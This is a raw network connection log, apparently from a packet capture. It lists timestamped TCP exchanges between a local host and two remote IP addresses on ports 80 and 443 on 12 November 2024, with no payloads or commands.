Nov 12, 2024 10:37:09.147005081 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147042036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147069931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147208929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147234917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147250891 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147278070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147335052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147347927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147370100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147372007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147386074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147409916 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147495985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147510052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147541046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147636890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147650003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147677898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147695065 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147825956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147871971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147876978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147891045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147917986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.147933006 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.194266081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.194303989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.194324970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.194333076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.194339991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.194356918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.194360971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.194375992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.194386005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.194432974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227128983 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227159977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227174044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227217913 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227272034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227273941 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227284908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227328062 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227336884 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227456093 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227467060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227477074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227490902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227505922 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227528095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227576971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227629900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227672100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227720976 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227735996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227786064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227797985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227823019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227849007 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227863073 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.227947950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227958918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227971077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.227999926 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.228018045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.228333950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.228384018 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.228421926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.228434086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.228480101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.228522062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.228570938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263212919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263243914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263256073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263278008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263304949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263349056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263361931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263386965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263415098 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263569117 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263617992 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263642073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263653994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263688087 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263700008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263823032 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263860941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263873100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.263875961 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263901949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.263911963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264010906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264034986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264056921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264071941 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264194012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264216900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264241934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264257908 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264271975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264282942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264313936 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264326096 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264379025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264425993 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264472961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264484882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264520884 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264535904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264555931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264595032 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264719009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264765024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264842987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264854908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264892101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264903069 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.264945984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.264990091 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.274354935 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.274449110 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.276990891 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.277000904 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.277239084 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.287086964 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.311331987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.311358929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.311369896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.311419010 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.311431885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.311445951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.311445951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.311460972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.311487913 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.311511040 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.331331968 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.344393015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344434977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344446898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344458103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344470978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344477892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.344484091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344512939 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.344542980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.344646931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344659090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344671965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344687939 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.344718933 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.344825983 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344873905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.344911098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344927073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.344957113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345086098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345110893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345130920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345231056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345242977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345278978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345293045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345293999 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345305920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345330000 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345344067 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345446110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345495939 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345510006 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345521927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345557928 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345570087 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.345676899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345690012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.345731974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380201101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380234957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380247116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380283117 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380326033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380328894 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380373955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380383015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380474091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380485058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380492926 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380495071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380517960 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380543947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380713940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380759954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380810022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380820990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380844116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380861044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380880117 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380899906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.380914927 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380932093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.380979061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381016016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381114006 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381159067 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381174088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381186008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381206989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381222010 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381337881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381378889 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381412029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381424904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381453991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381510019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381546021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381701946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381738901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381741047 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381751060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381769896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381787062 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.381879091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.381920099 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.428441048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428483963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428495884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428536892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.428556919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.428594112 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428631067 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428636074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.428668022 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.428752899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428764105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428774118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.428800106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.428823948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461102009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461134911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461147070 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461163998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461257935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461270094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461289883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461344957 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461371899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461410046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461467028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461478949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461508036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461570024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461610079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461668968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461714983 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461760044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461776972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461807013 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.461915970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461927891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461937904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.461973906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.462063074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.462290049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462300062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462337971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.462352991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462393045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.462424040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462436914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462470055 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.462485075 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.462574005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462585926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462595940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.462620020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.462650061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497510910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497617960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497632027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497643948 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497654915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497663021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497667074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497699022 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497746944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497757912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497770071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497796059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497813940 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497875929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497885942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497895956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.497916937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497944117 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.497992039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498033047 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498064995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498102903 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498117924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498128891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498141050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498157978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498176098 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498300076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498342037 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498370886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498383045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498415947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498447895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498485088 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498548985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498562098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498599052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.498687029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498708010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.498739958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.534066916 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.534096003 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.534111023 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.534205914 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.534239054 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.534254074 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.534290075 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.545655012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.545722008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.545734882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.545763016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.545815945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.545845985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.545851946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.545860052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.545892000 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.545980930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.545994043 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.546005011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.546027899 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.546055079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.546179056 CET	80	49709	185.215.113.206	192.168.2.6
